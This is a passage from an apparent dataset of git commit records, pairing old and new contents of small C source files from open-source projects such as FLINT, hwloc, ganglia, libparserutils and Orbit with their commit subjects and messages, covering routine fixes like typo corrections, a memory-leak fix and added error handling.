copyPEntryVec(meta);\n        delete metacp[3];\n        \/\/ note that in the next the pupil size if different\n        metacp[3] = new PGazeEntry(RGAZE, 1, 10, 10, 1); \n        TS_ASSERT_DIFFERS(expmeta, PExperiment(metacp));\n        destroyPEntyVec(metacp);\n        destroyPEntyVec(meta);\n    }\n\n};\n\n\n","subject":"Add ExperimentSuit to test PExperment and PTrial","message":"Add ExperimentSuit to test PExperment and PTrial\n","lang":"C","license":"lgpl-2.1","repos":"UiL-OTS-labs\/libeye,UiL-OTS-labs\/libeye,UiL-OTS-labs\/libeye"}
{"commit":"d4c28b0d467d667632489fa8f14d597f85a90f05","old_file":"src\/bin\/e_signals.c","new_file":"src\/bin\/e_signals.c","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n * NOTE TO FreeBSD users. Install libexecinfo from \n * ports\/devel\/libexecinfo and add -lexecinfo to LDFLAGS\n * to add backtrace support.\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","subject":"Add note to help FreeBSD users.","message":"Add note to help FreeBSD users.\n\n\ngit-svn-id: 0f3f1c46c6da7ffd142db61e503a7ff63af3a195@13781 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"d1c5ca9d6c830a597ebdeaaadb73254b265f647b","old_file":"source\/common\/d3d_util.h","new_file":"source\/common\/d3d_util.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_D3D_UTIL_H\n#define COMMON_D3D_UTIL_H\n\n#include \"common\/dxerr.h\"\n\n\/\/---------------------------------------------------------------------------------------\n\/\/ Simple d3d error checker \n\/\/---------------------------------------------------------------------------------------\n\n#if defined(DEBUG) | defined(_DEBUG)\n#ifndef HR\n#define HR(x) {                                                         \\\n\tHRESULT hr = (x);                                                   \\\n\tif (FAILED(hr)) {                                                   \\\n\tDXTrace(__FILEW__, (DWORD)__LINE__, hr, L#x, true);   \\\n\t}                                                                   \\\n}\n#endif\n\n#else\n#ifndef HR\n#define HR(x) (x)\n#endif\n#endif \n\n\/\/---------------------------------------------------------------------------------------\n\/\/ Convenience macro for releasing COM objects.\n\/\/---------------------------------------------------------------------------------------\n\n#define ReleaseCOM(x) { if(x){ x->Release(); x = 0; } }\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_D3D_UTIL_H\n#define COMMON_D3D_UTIL_H\n\n#include \"common\/dxerr.h\"\n\n\/\/---------------------------------------------------------------------------------------\n\/\/ Simple d3d error checker \n\/\/---------------------------------------------------------------------------------------\n\n#if defined(DEBUG) | defined(_DEBUG)\n#ifndef HR\n#define HR(x) {                                                         \\\n\tHRESULT hr = (x);                                                   \\\n\tif (FAILED(hr)) {                                                   \\\n\tDXTrace(__FILEW__, (DWORD)__LINE__, hr, L#x, true);   \\\n\t}                                                                   \\\n}\n#endif\n\n#else\n#ifndef HR\n#define HR(x) (x)\n#endif\n#endif \n\n\/\/---------------------------------------------------------------------------------------\n\/\/ Convenience macro for releasing COM objects.\n\/\/---------------------------------------------------------------------------------------\n\n#define ReleaseCOM(x) { if(x){ x->Release(); x = nullptr; } }\n\n#endif\n","subject":"Use nullptr instead of 0","message":"COMMON: Use nullptr instead of 0\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"050cf2fe7cc047b55d81a5b9d38bcc1a63225e13","old_file":"base\/include\/mem.h","new_file":"base\/include\/mem.h","old_contents":"\nsize_t align_to(size_t offset, size_t align);\n\n","new_contents":"\n#define container_of(p,T,memb) (T *)((char *)(p) - offsetof(T,member))\n#define length_of(array) (sizeof (array) \/ sizeof 0[array])\n\nsize_t align_to(size_t offset, size_t align);\n\n","subject":"Add container_of and length_of macros to base","message":"Add container_of and length_of macros to base\n","lang":"C","license":"isc","repos":"cventus\/otivm,cventus\/otivm,cventus\/otivm"}
{"commit":"13a7868be57942e1e27bf9767a2cd85a4a0b288d","old_file":"lib\/debug_msg.c","new_file":"lib\/debug_msg.c","old_contents":"\/**\n * @file debug_msg.c Debug Message function\n *\/\n\/* $Id$ *\/\n#include \"gangliaconf.h\"\n\nint debug_level = 0;\n\n\/**\n * @fn void debug_msg(const char *format, ...)\n * Prints the message to STDERR if DEBUG is #defined\n * @param format The format of the msg (see printf manpage)\n * @param ... Optional arguments\n *\/\nvoid\ndebug_msg(const char *format, ...)\n{\n   if (debug_level && format)\n      {\n         va_list ap;\n         va_start(ap, format);\n         vfprintf(stderr, format, ap);\n         fprintf(stderr,\"\\n\");\n         va_end(ap);\n      } \n   return;\n}\n","new_contents":"\/**\n * @file debug_msg.c Debug Message function\n *\/\n\/* $Id$ *\/\n#include \"gangliaconf.h\"\n\nint debug_level = 0;\n\n\/**\n * @fn void debug_msg(const char *format, ...)\n * Prints the message to STDERR if DEBUG is #defined\n * @param format The format of the msg (see printf manpage)\n * @param ... Optional arguments\n *\/\nvoid\ndebug_msg(const char *format, ...)\n{\n   if (debug_level > 1 && format)\n      {\n         va_list ap;\n         va_start(ap, format);\n         vfprintf(stderr, format, ap);\n         fprintf(stderr,\"\\n\");\n         va_end(ap);\n      } \n   return;\n}\n","subject":"Debug level 1 now only shows error messages (and no backgrounding in gmetad).","message":"Debug level 1 now only shows error messages (and no backgrounding in gmetad).\n\n\ngit-svn-id: 27e0aca8c7a52a9ae65dfba2e16879604119af8c@188 93a4e39c-3214-0410-bb16-828d8e3bcd0f\n","lang":"C","license":"bsd-3-clause","repos":"fastly\/ganglia,fastly\/ganglia,fastly\/ganglia,fastly\/ganglia,fastly\/ganglia"}
{"commit":"d1db59b4fa389e5f73ae9de7c4f75802102d1756","old_file":"fmpz_poly_factor\/clear.c","new_file":"fmpz_poly_factor\/clear.c","old_contents":"\/*\n    Copyright (C) 2011 Sebastian Pancratz\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <gmp.h>\n#include <stdlib.h>\n#include \"flint.h\"\n#include \"fmpz.h\"\n#include \"fmpz_poly.h\"\n\nvoid fmpz_poly_factor_clear(fmpz_poly_factor_t fac)\n{\n    if (fac->alloc)\n    {\n        slong i;\n\n        for (i = 0; i < fac->alloc; i++)\n        {\n            fmpz_poly_clear(fac->p + i);\n        }\n\n        fmpz_clear(&(fac->c));\n        flint_free(fac->p);\n        flint_free(fac->exp);\n        fac->p   = NULL;\n        fac->exp = NULL;\n    }\n}\n\n","new_contents":"\/*\n    Copyright (C) 2011 Sebastian Pancratz\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <gmp.h>\n#include <stdlib.h>\n#include \"flint.h\"\n#include \"fmpz.h\"\n#include \"fmpz_poly.h\"\n\nvoid fmpz_poly_factor_clear(fmpz_poly_factor_t fac)\n{\n    if (fac->alloc)\n    {\n        slong i;\n\n        for (i = 0; i < fac->alloc; i++)\n        {\n            fmpz_poly_clear(fac->p + i);\n        }\n\n        flint_free(fac->p);\n        flint_free(fac->exp);\n        fac->p   = NULL;\n        fac->exp = NULL;\n    }\n\n    fmpz_clear(&(fac->c));\n}\n\n","subject":"Fix a memory leak in t-factor.","message":"Fix a memory leak in t-factor.\n","lang":"C","license":"lgpl-2.1","repos":"fredrik-johansson\/flint2,wbhart\/flint2,wbhart\/flint2,fredrik-johansson\/flint2,fredrik-johansson\/flint2,wbhart\/flint2"}
{"commit":"aacb03000dad63a8f336e18ed2a9e8179f5bbc33","old_file":"UnitTests\/Source\/GITTreeEntryTests.h","new_file":"UnitTests\/Source\/GITTreeEntryTests.h","old_contents":"\/\/\n\/\/  GITTreeEntryTests.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 06\/10\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <SenTestingKit\/SenTestingKit.h>\n\n@class GITRepo, GITTree;\n@interface GITTreeEntryTests : GHTestCase {\n    GITRepo * repo;\n    GITTree * tree;\n    NSUInteger entryMode;\n    NSString * entryName;\n    NSString * entrySHA1;\n    NSString * entryLine;\n}\n\n@property(readwrite,retain) GITRepo * repo;\n@property(readwrite,retain) GITTree * tree;\n@property(readwrite,assign) NSUInteger entryMode;\n@property(readwrite,copy) NSString * entryName;\n@property(readwrite,copy) NSString * entrySHA1;\n@property(readwrite,copy) NSString * entryLine;\n\n- (void)testShouldParseEntryLine;\n- (void)testShouldInitWithModeNameAndHash;\n- (void)testShouldInitWithModeStringNameAndHash;\n\n@end\n","new_contents":"\/\/\n\/\/  GITTreeEntryTests.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 06\/10\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <GHUnit\/GHUnit.h>\n\n@class GITRepo, GITTree;\n@interface GITTreeEntryTests : GHTestCase {\n    GITRepo * repo;\n    GITTree * tree;\n    NSUInteger entryMode;\n    NSString * entryName;\n    NSString * entrySHA1;\n    NSString * entryLine;\n}\n\n@property(readwrite,retain) GITRepo * repo;\n@property(readwrite,retain) GITTree * tree;\n@property(readwrite,assign) NSUInteger entryMode;\n@property(readwrite,copy) NSString * entryName;\n@property(readwrite,copy) NSString * entrySHA1;\n@property(readwrite,copy) NSString * entryLine;\n\n- (void)testShouldParseEntryLine;\n- (void)testShouldInitWithModeNameAndHash;\n- (void)testShouldInitWithModeStringNameAndHash;\n\n@end\n","subject":"Update GITTreeEntry tests to use GHUnit framework instead of SenTestKit","message":"Update GITTreeEntry tests to use GHUnit framework instead of SenTestKit\n","lang":"C","license":"mit","repos":"schacon\/cocoagit,schacon\/cocoagit,geoffgarside\/cocoagit,geoffgarside\/cocoagit"}
{"commit":"2067da7189ec2e5d0266e16578b156f6a6bbf215","old_file":"src\/udon2xml.c","new_file":"src\/udon2xml.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"udon.h\"\n\nint main (int argc, char *argv[]) {\n    int i;\n    int found = 0;\n    if(argc < 2) return 1;\n    UdonParser *udon = udon_new_parser_from_file(argv[1]);\n    if(udon == NULL) {\n        udon_emit_error(stderr);\n        return udon_error_value();\n    }\n    for(i=0; i<10000; i++) {\n        found += udon_parse(udon);\n        udon_reset_parser(udon);\n    }\n    udon_free_parser(udon);\n    printf(\"%d\\n\", found);\n}\n\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"udon.h\"\n\nint main (int argc, char *argv[]) {\n    int i;\n    if(argc < 2) return 1;\n    UdonParser *udon = udon_new_parser_from_file(argv[1]);\n    if(udon == NULL) {\n        udon_emit_error(stderr);\n        return udon_error_value();\n    }\n    int res = udon_parse(udon);\n    if(res) udon_emit_error(stderr);\n    udon_reset_parser(udon);\n    udon_free_parser(udon);\n    return res;\n}\n\n","subject":"Remove older benchmarking loop and do correct error handling with real parse interface.","message":"Remove older benchmarking loop and do correct error handling with real parse\ninterface.\n","lang":"C","license":"mit","repos":"josephwecker\/udon-c,josephwecker\/udon-c,josephwecker\/udon-c,josephwecker\/udon-c"}
{"commit":"8f3b833e42653e798a6cf6d9f5819677ea8b8e47","old_file":"support\/utilgen.c","new_file":"support\/utilgen.c","old_contents":"","new_contents":"\/* Generate a package from system header definitions\n--  Copyright (C) 2011 Stephane Carrez\n--  Written by Stephane Carrez (Stephane.Carrez@gmail.com)\n--\n--  Licensed under the Apache License, Version 2.0 (the \"License\");\n--  you may not use this file except in compliance with the License.\n--  You may obtain a copy of the License at\n--\n--      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n--\n--  Unless required by applicable law or agreed to in writing, software\n--  distributed under the License is distributed on an \"AS IS\" BASIS,\n--  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n--  See the License for the specific language governing permissions and\n--  limitations under the License.\n*\/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nint main(void)\n{\n  printf(\"--  Generated by utildgen.c from system bfd.h\\n\");\n\n  printf(\"with Interfaces.C;\\n\");\n  printf(\"package Util.Systems.Constants is\\n\");\n  printf(\"\\n\");\n\n  printf(\"\\n   --  Flags used when opening a file with open\/creat.\\n\");\n  printf(\"   O_RDONLY                      : constant Interfaces.C.int := 8#%06o#;\\n\", O_RDONLY);\n  printf(\"   O_WRONLY                      : constant Interfaces.C.int := 8#%06o#;\\n\", O_WRONLY);\n  printf(\"   O_RDWR                        : constant Interfaces.C.int := 8#%06o#;\\n\", O_RDWR);\n  printf(\"   O_CREAT                       : constant Interfaces.C.int := 8#%06o#;\\n\", O_CREAT);\n  printf(\"   O_EXCL                        : constant Interfaces.C.int := 8#%06o#;\\n\", O_EXCL);\n  printf(\"   O_TRUNC                       : constant Interfaces.C.int := 8#%06o#;\\n\", O_TRUNC);\n  printf(\"   O_APPEND                      : constant Interfaces.C.int := 8#%06o#;\\n\", O_APPEND);\n\n  printf(\"\\n\");\n\n  printf(\"   --  Flags used by fcntl\\n\");\n  printf(\"   F_SETFL                       : constant Interfaces.C.int := %d;\\n\", F_SETFL);\n  printf(\"   FD_CLOEXEC                    : constant Interfaces.C.int := %d;\\n\", FD_CLOEXEC);\n\n  printf(\"\\n\");\n\n  printf(\"end Util.Systems.Constants;\\n\");\n  return 0;\n}\n","subject":"Add a support tool to generate Util.Systems.Constants package","message":"Add a support tool to generate Util.Systems.Constants package\n","lang":"C","license":"apache-2.0","repos":"Letractively\/ada-util,flottokarotto\/ada-util,Letractively\/ada-util,flottokarotto\/ada-util"}
{"commit":"c9996dfdabcc6e4639240ec90ac3a97912b686ec","old_file":"utils\/lstopo-xml.c","new_file":"utils\/lstopo-xml.c","old_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA.  All rights reserved.\n * Copyright © 2009 Université Bordeaux 1\n * Copyright © 2009-2011 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/autogen\/config.h>\n\n#ifdef HWLOC_HAVE_XML\n\n#include <hwloc.h>\n#include <string.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int logical __hwloc_attribute_unused, int legend __hwloc_attribute_unused, int verbose_mode __hwloc_attribute_unused)\n{\n  if (!filename || !strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  hwloc_topology_export_xml(topology, filename);\n}\n\n#endif \/* HWLOC_HAVE_XML *\/\n","new_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA.  All rights reserved.\n * Copyright © 2009 Université Bordeaux 1\n * Copyright © 2009-2011 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/autogen\/config.h>\n\n#ifdef HWLOC_HAVE_XML\n\n#include <hwloc.h>\n#include <string.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int logical __hwloc_attribute_unused, int legend __hwloc_attribute_unused, int verbose_mode __hwloc_attribute_unused)\n{\n  if (!filename || !strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  if (hwloc_topology_export_xml(topology, filename) < 0) {\n    fprintf(stderr, \"Failed to export XML to %s (%s)\\n\", filename, strerror(errno));\n    return;\n  }\n}\n\n#endif \/* HWLOC_HAVE_XML *\/\n","subject":"Print an error when lstopo fails to export to XML","message":"Print an error when lstopo fails to export to XML\n\ngit-svn-id: 14be032f8f42541b1a281b51ae8ea69814daf20e@3691 4b44e086-7f34-40ce-a3bd-00e031736276\n","lang":"C","license":"bsd-3-clause","repos":"BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc"}
{"commit":"eaa2b2534e5d7115be1d5d9efcfe1ce28e0b0721","old_file":"fast-xattr-test\/fast-xattr-test\/main.c","new_file":"fast-xattr-test\/fast-xattr-test\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  fast-xattr-test\n\/\/\n\/\/  Created by David Schlachter on 2015-07-09.\n\/\/  Copyright (c) 2015 David Schlachter. All rights reserved.\n\/\/\n\n#include <stdio.h>\n\nint main(int argc, const char * argv[]) {\n    \/\/ insert code here...\n    printf(\"Hello, World!\\n\");\n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  fast-xattr-test\n\/\/\n\/\/  Created by David Schlachter on 2015-07-09.\n\/\/  Copyright (c) 2015 David Schlachter. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <sys\/xattr.h>\n#include <stdlib.h>\n\nint main(int argc, const char * argv[]) {\n    const char *path;\n    const char *name;\n    void *value = malloc(15);\n    size_t size;\n    u_int32_t position;\n    int options = 0;\n    \n    path = argv[1];\n    name = argv[2];\n    size = 14;\n    position = 0;\n    \n    if (!getxattr(path, name, value, size, position, options)) {\n        return 0;\n    } else {\n        return 1;\n    };\n}\n","subject":"Set up the getxattr function","message":"Set up the getxattr function\n","lang":"C","license":"mit","repos":"davidschlachter\/fast-xattr-test"}
{"commit":"49fef60bc607ebb56b979b78f157b31619fea2eb","old_file":"test\/regression\/filter-badenc-segv.c","new_file":"test\/regression\/filter-badenc-segv.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <parserutils\/parserutils.h>\n\n#include \"input\/filter.h\"\n\n#include \"testutils.h\"\n\nstatic void *myrealloc(void *ptr, size_t len, void *pw)\n{\n\tUNUSED(pw);\n\n\treturn realloc(ptr, len);\n}\n\nint main(int argc, char **argv)\n{\n\tparserutils_filter *input;\n\tparserutils_filter_optparams params;\n\n\tif (argc != 2) {\n\t\tprintf(\"Usage: %s <filename>\\n\", argv[0]);\n\t\treturn 1;\n\t}\n\n\tassert(parserutils_initialise(argv[1], myrealloc, NULL) == \n\t\t\tPARSERUTILS_OK);\n\n\tassert(parserutils_filter_create(\"UTF-8\", myrealloc, NULL, &input) ==\n\t\t\tPARSERUTILS_OK);\n\n\tparams.encoding.name = \"GBK\";\n\tassert(parserutils_filter_setopt(input, \n\t\t\tPARSERUTILS_FILTER_SET_ENCODING, &params) == \n\t\t\tPARSERUTILS_BADENCODING);\n\n\tparams.encoding.name = \"GBK\";\n\tassert(parserutils_filter_setopt(input, \n\t\t\tPARSERUTILS_FILTER_SET_ENCODING, &params) == \n\t\t\tPARSERUTILS_BADENCODING);\n\n\tparserutils_filter_destroy(input);\n\n\tassert(parserutils_finalise(myrealloc, NULL) == PARSERUTILS_OK);\n\n\tprintf(\"PASS\\n\");\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <parserutils\/parserutils.h>\n\n#include \"input\/filter.h\"\n\n#include \"testutils.h\"\n\nstatic void *myrealloc(void *ptr, size_t len, void *pw)\n{\n\tUNUSED(pw);\n\n\treturn realloc(ptr, len);\n}\n\nint main(int argc, char **argv)\n{\n\tparserutils_filter *input;\n\tparserutils_filter_optparams params;\n\tparserutils_error expected;\n\n#ifdef WITH_ICONV_FILTER\n\texpected = PARSERUTILS_OK;\n#else\n\texpected = PARSERUTILS_BADENCODING;\n#endif\n\n\tif (argc != 2) {\n\t\tprintf(\"Usage: %s <filename>\\n\", argv[0]);\n\t\treturn 1;\n\t}\n\n\tassert(parserutils_initialise(argv[1], myrealloc, NULL) == \n\t\t\tPARSERUTILS_OK);\n\n\tassert(parserutils_filter_create(\"UTF-8\", myrealloc, NULL, &input) ==\n\t\t\tPARSERUTILS_OK);\n\n\tparams.encoding.name = \"GBK\";\n\tassert(parserutils_filter_setopt(input, \n\t\t\tPARSERUTILS_FILTER_SET_ENCODING, &params) == \n\t\t\texpected);\n\n\tparams.encoding.name = \"GBK\";\n\tassert(parserutils_filter_setopt(input, \n\t\t\tPARSERUTILS_FILTER_SET_ENCODING, &params) == \n\t\t\texpected);\n\n\tparserutils_filter_destroy(input);\n\n\tassert(parserutils_finalise(myrealloc, NULL) == PARSERUTILS_OK);\n\n\tprintf(\"PASS\\n\");\n\n\treturn 0;\n}\n","subject":"Fix regression test to work with iconv filter enabled","message":"Fix regression test to work with iconv filter enabled\n\nsvn path=\/trunk\/libparserutils\/; revision=5662\n","lang":"C","license":"mit","repos":"servo\/libparserutils,dunkelstern\/libparserutils,servo\/libparserutils,servo\/libparserutils,dunkelstern\/libparserutils,dunkelstern\/libparserutils"}
{"commit":"8012d2842d234a838b2ff27c27c5222a665cf7f7","old_file":"src\/UserSpaceInstrumentation\/include\/UserSpaceInstrumentation\/Attach.h","new_file":"src\/UserSpaceInstrumentation\/include\/UserSpaceInstrumentation\/Attach.h","old_contents":"\/\/ Copyright (c) 2021 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef USER_SPACE_INSTRUMENTATION_ATTACH_H_\n#define USER_SPACE_INSTRUMENTATION_ATTACH_H_\n\n#include <sys\/types.h>\n\n#include \"OrbitBase\/Result.h\"\n\nnamespace orbit_user_space_instrumentation {\n\n[[nodiscard]] ErrorMessageOr<void> AttachAndStopProcess(pid_t pid);\n\n[[nodiscard]] ErrorMessageOr<void> DetachAndContinueProcess(pid_t pid);\n\n}  \/\/ namespace orbit_user_space_instrumentation\n\n#endif  \/\/ USER_SPACE_INSTRUMENTATION_ATTACH_H_","new_contents":"\/\/ Copyright (c) 2021 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef USER_SPACE_INSTRUMENTATION_ATTACH_H_\n#define USER_SPACE_INSTRUMENTATION_ATTACH_H_\n\n#include <sys\/types.h>\n\n#include \"OrbitBase\/Result.h\"\n\nnamespace orbit_user_space_instrumentation {\n\n\/\/ Attaches to and stops all threads of the process `pid` using `PTRACE_ATTACH`. Being attached to a\n\/\/ process using this function is a precondition for using any of the tooling provided here.\n[[nodiscard]] ErrorMessageOr<void> AttachAndStopProcess(pid_t pid);\n\n\/\/ Detaches from all threads of the process `pid` and continues the execution.\n[[nodiscard]] ErrorMessageOr<void> DetachAndContinueProcess(pid_t pid);\n\n}  \/\/ namespace orbit_user_space_instrumentation\n\n#endif  \/\/ USER_SPACE_INSTRUMENTATION_ATTACH_H_","subject":"Fix missing comment in header.","message":"Fix missing comment in header.\n\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"bda2fe3ebaff006d6ff0c7252940033308020dca","old_file":"lib\/rgph.h","new_file":"lib\/rgph.h","old_contents":"\/*-\n * Copyright (c) 2015 Alexander Nasonov.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n#ifndef RGPH_H_INCLUDED\n#define RGPH_H_INCLUDED\n\n#include <rhph_defs.h>\n#include <rhph_hash.h>\n#include <rhph_graph.h>\n\n#endif \/* !RGPH_H_INCLUDED *\/\n","new_contents":"\/*-\n * Copyright (c) 2015 Alexander Nasonov.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n#ifndef RGPH_H_INCLUDED\n#define RGPH_H_INCLUDED\n\n#include <rgph_defs.h>\n#include <rgph_hash.h>\n#include <rgph_graph.h>\n\n#endif \/* !RGPH_H_INCLUDED *\/\n","subject":"Fix typo in include file names.","message":"Fix typo in include file names.\n","lang":"C","license":"bsd-2-clause","repos":"alnsn\/rgph,alnsn\/rgph"}
{"commit":"02a229b409fe2026efd86c54df9205c907e85ab1","old_file":"location.c","new_file":"location.c","old_contents":"#include \"location.h\"\n#include \"inventory.h\"\n#include \"person.h\"\n\nvoid location_init(struct location *location, char *name, char *description)\n{\n    location->name = name;\n    location->description = description;\n    inventory_init(&location->inventory);\n    vector_init(&location->people, sizeof(struct person *));\n}\n\nvoid location_free(struct location *location)\n{\n    for (int i = 0; i < location->people.size; i++) {\n        person_free(location->people.data[i]);\n    }\n\n    vector_free(&location->people);\n    inventory_free(&location->inventory);\n}\n","new_contents":"#include \"location.h\"\n#include \"inventory.h\"\n#include \"person.h\"\n\nvoid location_init(struct location *location, char *name, char *description)\n{\n    location->name = name;\n    location->description = description;\n    inventory_init(&location->inventory);\n    vector_init(&location->people, sizeof(struct person *));\n}\n\nvoid location_free(struct location *location)\n{\n    for (int i = 0; i < location->people.size; i++) {\n        person_free(vector_get(&location->people, i));\n    }\n\n    vector_free(&location->people);\n    inventory_free(&location->inventory);\n}\n","subject":"Use vector_get rather than accessing array directly","message":"Use vector_get rather than accessing array directly\n","lang":"C","license":"mit","repos":"kouroshp\/text-game,kouroshp\/text-game"}
